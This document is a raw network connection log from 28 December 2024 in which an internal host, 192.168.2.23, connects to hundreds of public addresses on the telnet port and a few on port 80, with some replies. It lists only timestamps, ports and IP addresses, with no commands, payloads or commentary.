Dec 28, 2024 20:41:53.155726910 CET	28664	23	192.168.2.23	150.215.74.146
Dec 28, 2024 20:41:53.155733109 CET	23	28664	94.134.156.198	192.168.2.23
Dec 28, 2024 20:41:53.155734062 CET	28664	23	192.168.2.23	200.61.138.18
Dec 28, 2024 20:41:53.155738115 CET	23	28664	153.203.232.255	192.168.2.23
Dec 28, 2024 20:41:53.155742884 CET	23	28664	19.237.73.166	192.168.2.23
Dec 28, 2024 20:41:53.155746937 CET	23	28664	130.11.51.207	192.168.2.23
Dec 28, 2024 20:41:53.155747890 CET	28664	23	192.168.2.23	209.32.161.50
Dec 28, 2024 20:41:53.155760050 CET	23	28664	179.60.58.248	192.168.2.23
Dec 28, 2024 20:41:53.155760050 CET	28664	23	192.168.2.23	63.152.86.131
Dec 28, 2024 20:41:53.155760050 CET	28664	23	192.168.2.23	162.124.205.189
Dec 28, 2024 20:41:53.155764103 CET	23	28664	47.21.237.55	192.168.2.23
Dec 28, 2024 20:41:53.155766010 CET	28664	23	192.168.2.23	94.134.156.198
Dec 28, 2024 20:41:53.155766964 CET	28664	23	192.168.2.23	208.174.9.86
Dec 28, 2024 20:41:53.155774117 CET	28664	23	192.168.2.23	153.203.232.255
Dec 28, 2024 20:41:53.155777931 CET	23	28664	125.202.197.239	192.168.2.23
Dec 28, 2024 20:41:53.155781984 CET	23	28664	100.52.104.212	192.168.2.23
Dec 28, 2024 20:41:53.155786037 CET	23	28664	67.43.166.222	192.168.2.23
Dec 28, 2024 20:41:53.155790091 CET	23	28664	93.125.36.144	192.168.2.23
Dec 28, 2024 20:41:53.155791998 CET	28664	23	192.168.2.23	19.237.73.166
Dec 28, 2024 20:41:53.155793905 CET	28664	23	192.168.2.23	130.11.51.207
Dec 28, 2024 20:41:53.155795097 CET	28664	23	192.168.2.23	179.60.58.248
Dec 28, 2024 20:41:53.155793905 CET	23	28664	101.26.112.252	192.168.2.23
Dec 28, 2024 20:41:53.155806065 CET	23	28664	156.3.87.189	192.168.2.23
Dec 28, 2024 20:41:53.155810118 CET	28664	23	192.168.2.23	47.21.237.55
Dec 28, 2024 20:41:53.155810118 CET	28664	23	192.168.2.23	100.52.104.212
Dec 28, 2024 20:41:53.155810118 CET	28664	23	192.168.2.23	67.43.166.222
Dec 28, 2024 20:41:53.155811071 CET	23	28664	110.210.42.60	192.168.2.23
Dec 28, 2024 20:41:53.155823946 CET	23	28664	192.101.22.141	192.168.2.23
Dec 28, 2024 20:41:53.155827999 CET	23	28664	100.231.146.253	192.168.2.23
Dec 28, 2024 20:41:53.155827999 CET	28664	23	192.168.2.23	93.125.36.144
Dec 28, 2024 20:41:53.155831099 CET	28664	23	192.168.2.23	125.202.197.239
Dec 28, 2024 20:41:53.155832052 CET	28664	23	192.168.2.23	101.26.112.252
Dec 28, 2024 20:41:53.155848026 CET	28664	23	192.168.2.23	156.3.87.189
Dec 28, 2024 20:41:53.155848026 CET	28664	23	192.168.2.23	110.210.42.60
Dec 28, 2024 20:41:53.155864954 CET	28664	23	192.168.2.23	100.231.146.253
Dec 28, 2024 20:41:53.155864954 CET	28664	23	192.168.2.23	192.101.22.141
Dec 28, 2024 20:41:53.155875921 CET	23	28664	45.81.16.104	192.168.2.23
Dec 28, 2024 20:41:53.155898094 CET	23	28664	87.161.37.51	192.168.2.23
Dec 28, 2024 20:41:53.155920982 CET	28664	23	192.168.2.23	45.81.16.104
Dec 28, 2024 20:41:53.155925035 CET	23	28664	90.9.13.14	192.168.2.23
Dec 28, 2024 20:41:53.155930042 CET	23	28664	19.89.243.255	192.168.2.23
Dec 28, 2024 20:41:53.155945063 CET	28664	23	192.168.2.23	87.161.37.51
Dec 28, 2024 20:41:53.155968904 CET	28664	23	192.168.2.23	90.9.13.14
Dec 28, 2024 20:41:53.155970097 CET	23	28664	125.49.75.139	192.168.2.23
Dec 28, 2024 20:41:53.155973911 CET	23	28664	186.192.171.252	192.168.2.23
Dec 28, 2024 20:41:53.155982971 CET	28664	23	192.168.2.23	19.89.243.255
Dec 28, 2024 20:41:53.155998945 CET	23	28664	200.72.239.118	192.168.2.23
Dec 28, 2024 20:41:53.156003952 CET	23	28664	39.16.206.163	192.168.2.23
Dec 28, 2024 20:41:53.156014919 CET	28664	23	192.168.2.23	125.49.75.139
Dec 28, 2024 20:41:53.156035900 CET	28664	23	192.168.2.23	186.192.171.252
Dec 28, 2024 20:41:53.156035900 CET	28664	23	192.168.2.23	39.16.206.163
Dec 28, 2024 20:41:53.156048059 CET	23	28664	160.174.129.95	192.168.2.23
Dec 28, 2024 20:41:53.156053066 CET	23	28664	81.92.52.13	192.168.2.23
Dec 28, 2024 20:41:53.156056881 CET	23	28664	121.211.131.154	192.168.2.23
Dec 28, 2024 20:41:53.156058073 CET	28664	23	192.168.2.23	200.72.239.118
Dec 28, 2024 20:41:53.156086922 CET	28664	23	192.168.2.23	160.174.129.95
Dec 28, 2024 20:41:53.156090021 CET	28664	23	192.168.2.23	81.92.52.13
Dec 28, 2024 20:41:53.156094074 CET	28664	23	192.168.2.23	121.211.131.154
Dec 28, 2024 20:41:53.163069963 CET	80	28662	12.19.191.110	192.168.2.23
Dec 28, 2024 20:41:53.163120985 CET	28662	80	192.168.2.23	12.19.191.110
Dec 28, 2024 20:41:53.163137913 CET	80	28662	61.65.107.26	192.168.2.23
Dec 28, 2024 20:41:53.163182020 CET	28662	80	192.168.2.23	61.65.107.26
Dec 28, 2024 20:41:54.030514002 CET	28664	23	192.168.2.23	81.26.47.120
Dec 28, 2024 20:41:54.030514002 CET	28664	23	192.168.2.23	5.195.202.217
Dec 28, 2024 20:41:54.030519009 CET	28664	23	192.168.2.23	128.150.205.145
Dec 28, 2024 20:41:54.030525923 CET	28664	23	192.168.2.23	220.68.160.237
Dec 28, 2024 20:41:54.030525923 CET	28664	23	192.168.2.23	167.29.37.177
Dec 28, 2024 20:41:54.030539989 CET	28664	23	192.168.2.23	89.103.93.232
Dec 28, 2024 20:41:54.030539989 CET	28664	23	192.168.2.23	52.52.113.103
Dec 28, 2024 20:41:54.030540943 CET	28664	23	192.168.2.23	72.155.59.203
Dec 28, 2024 20:41:54.030558109 CET	28664	23	192.168.2.23	136.224.158.16
Dec 28, 2024 20:41:54.030560970 CET	28664	23	192.168.2.23	47.160.167.98
Dec 28, 2024 20:41:54.030560970 CET	28664	23	192.168.2.23	138.79.37.232
Dec 28, 2024 20:41:54.030560970 CET	28664	23	192.168.2.23	200.27.248.96
Dec 28, 2024 20:41:54.030574083 CET	28664	23	192.168.2.23	159.33.22.63
Dec 28, 2024 20:41:54.030574083 CET	28664	23	192.168.2.23	200.208.198.192
Dec 28, 2024 20:41:54.030574083 CET	28664	23	192.168.2.23	160.20.0.63
Dec 28, 2024 20:41:54.030574083 CET	28664	23	192.168.2.23	91.247.196.187
Dec 28, 2024 20:41:54.030575991 CET	28664	23	192.168.2.23	103.58.254.7
Dec 28, 2024 20:41:54.030580044 CET	28664	23	192.168.2.23	68.81.87.254
Dec 28, 2024 20:41:54.030596972 CET	28664	23	192.168.2.23	58.199.92.44
Dec 28, 2024 20:41:54.030606985 CET	28664	23	192.168.2.23	99.109.88.242
Dec 28, 2024 20:41:54.030607939 CET	28664	23	192.168.2.23	42.190.255.8
Dec 28, 2024 20:41:54.030607939 CET	28664	23	192.168.2.23	87.149.156.10
Dec 28, 2024 20:41:54.030611992 CET	28664	23	192.168.2.23	42.65.36.57
Dec 28, 2024 20:41:54.030611992 CET	28664	23	192.168.2.23	93.67.136.111
Dec 28, 2024 20:41:54.030616045 CET	28664	23	192.168.2.23	109.99.152.1
Dec 28, 2024 20:41:54.030620098 CET	28664	23	192.168.2.23	25.145.185.180
Dec 28, 2024 20:41:54.030620098 CET	28664	23	192.168.2.23	53.118.87.179
Dec 28, 2024 20:41:54.030622959 CET	28664	23	192.168.2.23	74.166.126.239
Dec 28, 2024 20:41:54.030657053 CET	28664	23	192.168.2.23	172.102.72.68
Dec 28, 2024 20:41:54.030657053 CET	28664	23	192.168.2.23	27.132.216.148
Dec 28, 2024 20:41:54.030658007 CET	28664	23	192.168.2.23	187.255.80.207
Dec 28, 2024 20:41:54.030657053 CET	28664	23	192.168.2.23	73.19.46.83
Dec 28, 2024 20:41:54.030658960 CET	28664	23	192.168.2.23	220.237.44.88
Dec 28, 2024 20:41:54.030657053 CET	28664	23	192.168.2.23	160.53.226.250
Dec 28, 2024 20:41:54.030658960 CET	28664	23	192.168.2.23	120.157.202.182
Dec 28, 2024 20:41:54.030657053 CET	28664	23	192.168.2.23	114.133.3.52
Dec 28, 2024 20:41:54.030658960 CET	28664	23	192.168.2.23	131.56.176.81
Dec 28, 2024 20:41:54.030658960 CET	28664	23	192.168.2.23	182.19.78.95
Dec 28, 2024 20:41:54.030658960 CET	28664	23	192.168.2.23	207.118.157.73
Dec 28, 2024 20:41:54.030689955 CET	28664	23	192.168.2.23	150.215.110.228
Dec 28, 2024 20:41:54.030689955 CET	28664	23	192.168.2.23	116.226.160.181
Dec 28, 2024 20:41:54.030690908 CET	28664	23	192.168.2.23	73.117.172.65
Dec 28, 2024 20:41:54.030689955 CET	28664	23	192.168.2.23	205.10.117.116
Dec 28, 2024 20:41:54.030689955 CET	28664	23	192.168.2.23	27.243.242.55
Dec 28, 2024 20:41:54.030694962 CET	28664	23	192.168.2.23	199.38.67.252
Dec 28, 2024 20:41:54.030694962 CET	28664	23	192.168.2.23	57.59.40.19
Dec 28, 2024 20:41:54.030706882 CET	28664	23	192.168.2.23	40.17.5.179
Dec 28, 2024 20:41:54.030708075 CET	28664	23	192.168.2.23	32.51.180.189
Dec 28, 2024 20:41:54.030708075 CET	28664	23	192.168.2.23	13.186.119.17
Dec 28, 2024 20:41:54.030708075 CET	28664	23	192.168.2.23	72.214.182.48
Dec 28, 2024 20:41:54.030709982 CET	28664	23	192.168.2.23	19.112.184.59
Dec 28, 2024 20:41:54.030709982 CET	28664	23	192.168.2.23	65.35.218.113
Dec 28, 2024 20:41:54.030714035 CET	28664	23	192.168.2.23	175.83.65.104
Dec 28, 2024 20:41:54.030714035 CET	28664	23	192.168.2.23	221.166.125.143
Dec 28, 2024 20:41:54.030715942 CET	28664	23	192.168.2.23	187.169.169.168
Dec 28, 2024 20:41:54.030716896 CET	28664	23	192.168.2.23	34.27.171.7
Dec 28, 2024 20:41:54.030716896 CET	28664	23	192.168.2.23	89.157.189.230
Dec 28, 2024 20:41:54.030716896 CET	28664	23	192.168.2.23	120.156.209.15
Dec 28, 2024 20:41:54.030716896 CET	28664	23	192.168.2.23	201.150.193.36
Dec 28, 2024 20:41:54.030716896 CET	28664	23	192.168.2.23	53.129.67.52
Dec 28, 2024 20:41:54.030723095 CET	28664	23	192.168.2.23	223.200.42.95
Dec 28, 2024 20:41:54.030723095 CET	28664	23	192.168.2.23	8.140.92.75
Dec 28, 2024 20:41:54.030723095 CET	28664	23	192.168.2.23	116.174.42.120
Dec 28, 2024 20:41:54.030723095 CET	28664	23	192.168.2.23	216.32.10.152
Dec 28, 2024 20:41:54.030723095 CET	28664	23	192.168.2.23	50.1.4.131
Dec 28, 2024 20:41:54.030723095 CET	28664	23	192.168.2.23	129.114.60.211
Dec 28, 2024 20:41:54.030723095 CET	28664	23	192.168.2.23	132.100.21.231
Dec 28, 2024 20:41:54.030723095 CET	28664	23	192.168.2.23	211.163.244.44
Dec 28, 2024 20:41:54.030740976 CET	28664	23	192.168.2.23	186.126.28.20
Dec 28, 2024 20:41:54.030740976 CET	28664	23	192.168.2.23	94.43.248.126
Dec 28, 2024 20:41:54.030740976 CET	28664	23	192.168.2.23	38.213.77.191
Dec 28, 2024 20:41:54.030742884 CET	28664	23	192.168.2.23	95.189.174.91
Dec 28, 2024 20:41:54.030742884 CET	28664	23	192.168.2.23	108.71.178.56
Dec 28, 2024 20:41:54.030742884 CET	28664	23	192.168.2.23	108.134.189.11
Dec 28, 2024 20:41:54.030742884 CET	28664	23	192.168.2.23	46.83.239.96
Dec 28, 2024 20:41:54.030742884 CET	28664	23	192.168.2.23	131.96.150.59
Dec 28, 2024 20:41:54.030742884 CET	28664	23	192.168.2.23	103.4.151.1
Dec 28, 2024 20:41:54.030742884 CET	28664	23	192.168.2.23	110.79.60.167
Dec 28, 2024 20:41:54.030751944 CET	28664	23	192.168.2.23	105.65.76.220
Dec 28, 2024 20:41:54.030751944 CET	28664	23	192.168.2.23	89.222.129.82
Dec 28, 2024 20:41:54.030751944 CET	28664	23	192.168.2.23	110.222.238.251
Dec 28, 2024 20:41:54.030762911 CET	28664	23	192.168.2.23	103.193.240.86
Dec 28, 2024 20:41:54.030764103 CET	28664	23	192.168.2.23	99.117.111.222
Dec 28, 2024 20:41:54.030764103 CET	28664	23	192.168.2.23	124.71.25.243
Dec 28, 2024 20:41:54.030764103 CET	28664	23	192.168.2.23	182.151.92.149
Dec 28, 2024 20:41:54.030764103 CET	28664	23	192.168.2.23	147.220.133.73
Dec 28, 2024 20:41:54.030764103 CET	28664	23	192.168.2.23	210.212.125.230
Dec 28, 2024 20:41:54.030764103 CET	28664	23	192.168.2.23	193.26.40.120
Dec 28, 2024 20:41:54.030764103 CET	28664	23	192.168.2.23	32.49.230.183
Dec 28, 2024 20:41:54.030786037 CET	28664	23	192.168.2.23	96.215.98.63
Dec 28, 2024 20:41:54.030786991 CET	28664	23	192.168.2.23	178.180.61.124
Dec 28, 2024 20:41:54.030787945 CET	28664	23	192.168.2.23	200.9.106.166
Dec 28, 2024 20:41:54.030787945 CET	28664	23	192.168.2.23	197.74.108.96
Dec 28, 2024 20:41:54.030787945 CET	28664	23	192.168.2.23	61.27.112.54
Dec 28, 2024 20:41:54.030787945 CET	28664	23	192.168.2.23	110.242.207.60
Dec 28, 2024 20:41:54.030787945 CET	28664	23	192.168.2.23	91.171.193.144
Dec 28, 2024 20:41:54.030802011 CET	28664	23	192.168.2.23	86.64.40.58
Dec 28, 2024 20:41:54.030802011 CET	28664	23	192.168.2.23	194.180.160.66
Dec 28, 2024 20:41:54.030807972 CET	28664	23	192.168.2.23	143.128.115.51
Dec 28, 2024 20:41:54.030817032 CET	28664	23	192.168.2.23	74.29.152.5
Dec 28, 2024 20:41:54.030817032 CET	28664	23	192.168.2.23	168.122.172.13
Dec 28, 2024 20:41:54.030817032 CET	28664	23	192.168.2.23	105.10.188.121
Dec 28, 2024 20:41:54.030817032 CET	28664	23	192.168.2.23	20.120.167.210
Dec 28, 2024 20:41:54.030817032 CET	28664	23	192.168.2.23	191.229.193.173
Dec 28, 2024 20:41:54.030817032 CET	28664	23	192.168.2.23	97.59.40.40
Dec 28, 2024 20:41:54.030817032 CET	28664	23	192.168.2.23	53.136.24.101
Dec 28, 2024 20:41:54.030836105 CET	28664	23	192.168.2.23	125.52.115.57
Dec 28, 2024 20:41:54.030836105 CET	28664	23	192.168.2.23	222.231.249.152
Dec 28, 2024 20:41:54.030836105 CET	28664	23	192.168.2.23	186.136.194.72
Dec 28, 2024 20:41:54.030836105 CET	28664	23	192.168.2.23	177.13.253.124
Dec 28, 2024 20:41:54.030836105 CET	28664	23	192.168.2.23	42.188.95.26
Dec 28, 2024 20:41:54.030836105 CET	28664	23	192.168.2.23	108.253.119.165
Dec 28, 2024 20:41:54.030838013 CET	28664	23	192.168.2.23	8.184.56.238
Dec 28, 2024 20:41:54.030838013 CET	28664	23	192.168.2.23	134.165.119.74
Dec 28, 2024 20:41:54.030839920 CET	28664	23	192.168.2.23	77.53.131.96
Dec 28, 2024 20:41:54.030839920 CET	28664	23	192.168.2.23	43.50.228.156
Dec 28, 2024 20:41:54.030841112 CET	28664	23	192.168.2.23	138.251.217.33
Dec 28, 2024 20:41:54.030841112 CET	28664	23	192.168.2.23	156.128.30.246
Dec 28, 2024 20:41:54.030841112 CET	28664	23	192.168.2.23	77.250.104.68
Dec 28, 2024 20:41:54.030841112 CET	28664	23	192.168.2.23	47.160.113.217
Dec 28, 2024 20:41:54.030841112 CET	28664	23	192.168.2.23	193.210.69.67
Dec 28, 2024 20:41:54.030841112 CET	28664	23	192.168.2.23	126.28.86.71
Dec 28, 2024 20:41:54.030841112 CET	28664	23	192.168.2.23	102.137.192.110
Dec 28, 2024 20:41:54.030849934 CET	28664	23	192.168.2.23	101.57.79.90
Dec 28, 2024 20:41:54.030850887 CET	28664	23	192.168.2.23	34.98.85.203
Dec 28, 2024 20:41:54.030858040 CET	28664	23	192.168.2.23	120.127.65.77
Dec 28, 2024 20:41:54.030858040 CET	28664	23	192.168.2.23	222.97.242.112
Dec 28, 2024 20:41:54.030862093 CET	28664	23	192.168.2.23	57.132.150.87
Dec 28, 2024 20:41:54.030862093 CET	28664	23	192.168.2.23	48.11.224.119
Dec 28, 2024 20:41:54.030864954 CET	28664	23	192.168.2.23	76.75.181.111
Dec 28, 2024 20:41:54.030865908 CET	28664	23	192.168.2.23	113.119.55.40
Dec 28, 2024 20:41:54.030872107 CET	28664	23	192.168.2.23	57.189.114.46
Dec 28, 2024 20:41:54.030872107 CET	28664	23	192.168.2.23	183.162.224.163
Dec 28, 2024 20:41:54.030872107 CET	28664	23	192.168.2.23	97.30.106.225
Dec 28, 2024 20:41:54.030872107 CET	28664	23	192.168.2.23	113.3.12.102
Dec 28, 2024 20:41:54.030872107 CET	28664	23	192.168.2.23	221.0.158.199
Dec 28, 2024 20:41:54.030873060 CET	28664	23	192.168.2.23	135.191.151.48
Dec 28, 2024 20:41:54.030884981 CET	28664	23	192.168.2.23	47.5.94.119
Dec 28, 2024 20:41:54.030884981 CET	28664	23	192.168.2.23	146.82.133.31
Dec 28, 2024 20:41:54.030894041 CET	28664	23	192.168.2.23	211.227.54.244
Dec 28, 2024 20:41:54.030900955 CET	28664	23	192.168.2.23	70.50.99.231
Dec 28, 2024 20:41:54.030904055 CET	28664	23	192.168.2.23	12.158.240.205
Dec 28, 2024 20:41:54.030905962 CET	28664	23	192.168.2.23	200.227.163.230
Dec 28, 2024 20:41:54.030915022 CET	28664	23	192.168.2.23	175.191.181.224
Dec 28, 2024 20:41:54.030915022 CET	28664	23	192.168.2.23	77.99.239.255
Dec 28, 2024 20:41:54.030915022 CET	28664	23	192.168.2.23	109.153.227.126
Dec 28, 2024 20:41:54.030920029 CET	28664	23	192.168.2.23	210.120.78.31
Dec 28, 2024 20:41:54.030921936 CET	28664	23	192.168.2.23	207.169.167.198
Dec 28, 2024 20:41:54.030932903 CET	28664	23	192.168.2.23	153.158.176.2
Dec 28, 2024 20:41:54.030932903 CET	28664	23	192.168.2.23	94.121.69.87
Dec 28, 2024 20:41:54.030946970 CET	28664	23	192.168.2.23	4.138.181.217
Dec 28, 2024 20:41:54.030946970 CET	28664	23	192.168.2.23	45.22.107.48
Dec 28, 2024 20:41:54.030946970 CET	28664	23	192.168.2.23	12.197.194.180
Dec 28, 2024 20:41:54.030950069 CET	28664	23	192.168.2.23	150.199.243.126
Dec 28, 2024 20:41:54.030960083 CET	28664	23	192.168.2.23	84.2.203.76
Dec 28, 2024 20:41:54.030961037 CET	28664	23	192.168.2.23	206.218.36.213
Dec 28, 2024 20:41:54.030961037 CET	28664	23	192.168.2.23	92.72.205.49
Dec 28, 2024 20:41:54.030966043 CET	28664	23	192.168.2.23	185.99.175.181
Dec 28, 2024 20:41:54.030966043 CET	28664	23	192.168.2.23	191.184.249.84
Dec 28, 2024 20:41:54.030966997 CET	28664	23	192.168.2.23	137.94.207.43
Dec 28, 2024 20:41:54.030967951 CET	28664	23	192.168.2.23	106.38.141.172
Dec 28, 2024 20:41:54.030970097 CET	28664	23	192.168.2.23	37.124.207.5
Dec 28, 2024 20:41:54.030980110 CET	28664	23	192.168.2.23	117.123.240.138
Dec 28, 2024 20:41:54.030983925 CET	28664	23	192.168.2.23	182.71.177.219
Dec 28, 2024 20:41:54.030988932 CET	28664	23	192.168.2.23	112.55.99.49
Dec 28, 2024 20:41:54.030988932 CET	28664	23	192.168.2.23	172.5.36.31
Dec 28, 2024 20:41:54.030997992 CET	28664	23	192.168.2.23	79.219.38.232
Dec 28, 2024 20:41:54.030997992 CET	28664	23	192.168.2.23	186.174.10.212
Dec 28, 2024 20:41:54.031001091 CET	28664	23	192.168.2.23	161.25.98.107
Dec 28, 2024 20:41:54.031002045 CET	28664	23	192.168.2.23	81.88.176.167
Dec 28, 2024 20:41:54.031003952 CET	28664	23	192.168.2.23	73.4.66.29
Dec 28, 2024 20:41:54.031008005 CET	28664	23	192.168.2.23	170.92.180.104
Dec 28, 2024 20:41:54.031013966 CET	28664	23	192.168.2.23	159.104.98.8
Dec 28, 2024 20:41:54.031014919 CET	28664	23	192.168.2.23	64.215.131.24
Dec 28, 2024 20:41:54.031014919 CET	28664	23	192.168.2.23	153.166.12.29
Dec 28, 2024 20:41:54.030997038 CET	28664	23	192.168.2.23	111.63.186.30
Dec 28, 2024 20:41:54.031028986 CET	28664	23	192.168.2.23	62.237.193.172
Dec 28, 2024 20:41:54.031029940 CET	28664	23	192.168.2.23	60.122.168.77
Dec 28, 2024 20:41:54.031038046 CET	28664	23	192.168.2.23	133.198.5.176
Dec 28, 2024 20:41:54.031039000 CET	28664	23	192.168.2.23	157.175.87.39
Dec 28, 2024 20:41:54.031044960 CET	28664	23	192.168.2.23	94.41.251.249
Dec 28, 2024 20:41:54.031044960 CET	28664	23	192.168.2.23	164.142.151.211
Dec 28, 2024 20:41:54.031044960 CET	28664	23	192.168.2.23	206.137.188.90
Dec 28, 2024 20:41:54.031044960 CET	28664	23	192.168.2.23	99.105.22.78
Dec 28, 2024 20:41:54.031045914 CET	28664	23	192.168.2.23	17.8.8.210
Dec 28, 2024 20:41:54.031048059 CET	28664	23	192.168.2.23	217.7.11.217
Dec 28, 2024 20:41:54.031053066 CET	28664	23	192.168.2.23	164.120.44.104
Dec 28, 2024 20:41:54.031053066 CET	28664	23	192.168.2.23	101.118.176.46
Dec 28, 2024 20:41:54.031056881 CET	28664	23	192.168.2.23	122.96.62.121
Dec 28, 2024 20:41:54.031058073 CET	28664	23	192.168.2.23	136.113.26.48
Dec 28, 2024 20:41:54.031065941 CET	28664	23	192.168.2.23	12.228.26.157
Dec 28, 2024 20:41:54.031071901 CET	28664	23	192.168.2.23	203.106.41.66
Dec 28, 2024 20:41:54.031071901 CET	28664	23	192.168.2.23	119.214.81.6
Dec 28, 2024 20:41:54.031074047 CET	28664	23	192.168.2.23	71.38.189.211
Dec 28, 2024 20:41:54.031084061 CET	28664	23	192.168.2.23	5.186.97.132
Dec 28, 2024 20:41:54.031085968 CET	28664	23	192.168.2.23	80.24.179.142
Dec 28, 2024 20:41:54.031085014 CET	28664	23	192.168.2.23	173.71.111.109
Dec 28, 2024 20:41:54.031085968 CET	28664	23	192.168.2.23	77.47.108.77
Dec 28, 2024 20:41:54.031083107 CET	28664	23	192.168.2.23	141.212.23.100
Dec 28, 2024 20:41:54.031086922 CET	28664	23	192.168.2.23	140.90.237.5
Dec 28, 2024 20:41:54.031101942 CET	28664	23	192.168.2.23	204.146.118.138
Dec 28, 2024 20:41:54.031105042 CET	28664	23	192.168.2.23	103.41.127.171
Dec 28, 2024 20:41:54.031105042 CET	28664	23	192.168.2.23	27.229.34.57
Dec 28, 2024 20:41:54.031111956 CET	28664	23	192.168.2.23	23.113.105.230
Dec 28, 2024 20:41:54.031114101 CET	28664	23	192.168.2.23	88.113.159.133
Dec 28, 2024 20:41:54.031114101 CET	28664	23	192.168.2.23	113.25.33.79
Dec 28, 2024 20:41:54.031115055 CET	28664	23	192.168.2.23	114.203.120.129
Dec 28, 2024 20:41:54.031115055 CET	28664	23	192.168.2.23	74.194.204.110
Dec 28, 2024 20:41:54.031119108 CET	28664	23	192.168.2.23	142.24.38.162
Dec 28, 2024 20:41:54.031127930 CET	28664	23	192.168.2.23	45.173.119.66
Dec 28, 2024 20:41:54.031130075 CET	28664	23	192.168.2.23	218.143.38.85
Dec 28, 2024 20:41:54.031135082 CET	28664	23	192.168.2.23	43.177.159.38
Dec 28, 2024 20:41:54.031140089 CET	28664	23	192.168.2.23	77.251.126.48
Dec 28, 2024 20:41:54.031145096 CET	28664	23	192.168.2.23	109.69.90.123
Dec 28, 2024 20:41:54.031145096 CET	28664	23	192.168.2.23	154.79.140.207
Dec 28, 2024 20:41:54.031145096 CET	28664	23	192.168.2.23	199.200.51.17
Dec 28, 2024 20:41:54.031146049 CET	28664	23	192.168.2.23	160.168.90.138
Dec 28, 2024 20:41:54.031163931 CET	28664	23	192.168.2.23	143.208.179.33
Dec 28, 2024 20:41:54.031163931 CET	28664	23	192.168.2.23	186.45.74.61
Dec 28, 2024 20:41:54.031163931 CET	28664	23	192.168.2.23	181.25.184.185
Dec 28, 2024 20:41:54.031167984 CET	28664	23	192.168.2.23	191.62.18.175
Dec 28, 2024 20:41:54.031167984 CET	28664	23	192.168.2.23	175.141.129.117
Dec 28, 2024 20:41:54.031167984 CET	28664	23	192.168.2.23	121.185.216.205
Dec 28, 2024 20:41:54.031169891 CET	28664	23	192.168.2.23	64.36.54.142
Dec 28, 2024 20:41:54.031172991 CET	28664	23	192.168.2.23	213.126.130.104
Dec 28, 2024 20:41:54.031173944 CET	28664	23	192.168.2.23	27.195.202.14
Dec 28, 2024 20:41:54.031192064 CET	28664	23	192.168.2.23	160.11.114.221
Dec 28, 2024 20:41:54.031208992 CET	28664	23	192.168.2.23	143.114.54.194
Dec 28, 2024 20:41:54.031213999 CET	28664	23	192.168.2.23	62.112.77.150
Dec 28, 2024 20:41:54.031213999 CET	28664	23	192.168.2.23	32.197.107.238
Dec 28, 2024 20:41:54.031219959 CET	28664	23	192.168.2.23	116.100.167.151
Dec 28, 2024 20:41:54.031219959 CET	28664	23	192.168.2.23	101.172.33.87
Dec 28, 2024 20:41:54.031220913 CET	28664	23	192.168.2.23	161.216.141.122
Dec 28, 2024 20:41:54.031220913 CET	28664	23	192.168.2.23	24.58.164.209
Dec 28, 2024 20:41:54.031222105 CET	28664	23	192.168.2.23	154.225.255.61
Dec 28, 2024 20:41:54.031222105 CET	28664	23	192.168.2.23	161.196.126.27
Dec 28, 2024 20:41:54.031229973 CET	28664	23	192.168.2.23	32.208.192.245
Dec 28, 2024 20:41:54.031230927 CET	28664	23	192.168.2.23	207.158.12.187
Dec 28, 2024 20:41:54.031230927 CET	28664	23	192.168.2.23	172.200.237.131
Dec 28, 2024 20:41:54.031232119 CET	28664	23	192.168.2.23	44.188.82.91
Dec 28, 2024 20:41:54.031230927 CET	28664	23	192.168.2.23	109.22.108.80
Dec 28, 2024 20:41:54.031230927 CET	28664	23	192.168.2.23	109.229.203.17
Dec 28, 2024 20:41:54.031235933 CET	28664	23	192.168.2.23	98.98.137.42
Dec 28, 2024 20:41:54.031244040 CET	28664	23	192.168.2.23	44.185.2.103
Dec 28, 2024 20:41:54.031253099 CET	28664	23	192.168.2.23	198.84.193.66
Dec 28, 2024 20:41:54.031253099 CET	28664	23	192.168.2.23	62.117.20.127
Dec 28, 2024 20:41:54.031258106 CET	28664	23	192.168.2.23	220.167.50.193
Dec 28, 2024 20:41:54.031261921 CET	28664	23	192.168.2.23	80.155.171.123
Dec 28, 2024 20:41:54.031270981 CET	28664	23	192.168.2.23	12.100.49.178
Dec 28, 2024 20:41:54.031272888 CET	28664	23	192.168.2.23	81.54.32.75
Dec 28, 2024 20:41:54.031277895 CET	28664	23	192.168.2.23	201.245.115.192
Dec 28, 2024 20:41:54.031277895 CET	28664	23	192.168.2.23	97.145.149.74
Dec 28, 2024 20:41:54.031280041 CET	28664	23	192.168.2.23	123.253.48.225
Dec 28, 2024 20:41:54.031274080 CET	28664	23	192.168.2.23	210.219.163.66
Dec 28, 2024 20:41:54.031274080 CET	28664	23	192.168.2.23	118.199.63.182
Dec 28, 2024 20:41:54.031296015 CET	28664	23	192.168.2.23	203.111.18.94
Dec 28, 2024 20:41:54.031296015 CET	28664	23	192.168.2.23	171.195.84.249
Dec 28, 2024 20:41:54.031301022 CET	28664	23	192.168.2.23	47.158.189.55
Dec 28, 2024 20:41:54.031301022 CET	28664	23	192.168.2.23	101.200.50.222
Dec 28, 2024 20:41:54.031301975 CET	28664	23	192.168.2.23	106.144.233.121
Dec 28, 2024 20:41:54.031301975 CET	28664	23	192.168.2.23	86.132.100.190
Dec 28, 2024 20:41:54.031307936 CET	28664	23	192.168.2.23	154.56.95.137
Dec 28, 2024 20:41:54.031323910 CET	28664	23	192.168.2.23	85.242.224.156
Dec 28, 2024 20:41:54.031327009 CET	28664	23	192.168.2.23	124.105.70.162
Dec 28, 2024 20:41:54.031327009 CET	28664	23	192.168.2.23	116.191.145.21
Dec 28, 2024 20:41:54.031332970 CET	28664	23	192.168.2.23	128.152.172.224
Dec 28, 2024 20:41:54.031337023 CET	28664	23	192.168.2.23	197.194.185.39
Dec 28, 2024 20:41:54.031337023 CET	28664	23	192.168.2.23	175.230.195.173
Dec 28, 2024 20:41:54.031337023 CET	28664	23	192.168.2.23	44.38.148.224
Dec 28, 2024 20:41:54.031337976 CET	28664	23	192.168.2.23	101.24.0.216
Dec 28, 2024 20:41:54.031342983 CET	28664	23	192.168.2.23	125.215.118.81
Dec 28, 2024 20:41:54.031352043 CET	28664	23	192.168.2.23	81.117.28.181
Dec 28, 2024 20:41:54.031352043 CET	28664	23	192.168.2.23	193.82.220.199
Dec 28, 2024 20:41:54.031352043 CET	28664	23	192.168.2.23	24.199.151.192
Dec 28, 2024 20:41:54.031352043 CET	28664	23	192.168.2.23	188.172.205.74
Dec 28, 2024 20:41:54.031358957 CET	28664	23	192.168.2.23	101.2.242.5
Dec 28, 2024 20:41:54.031361103 CET	28664	23	192.168.2.23	212.90.159.99
Dec 28, 2024 20:41:54.031373024 CET	28664	23	192.168.2.23	129.77.252.9
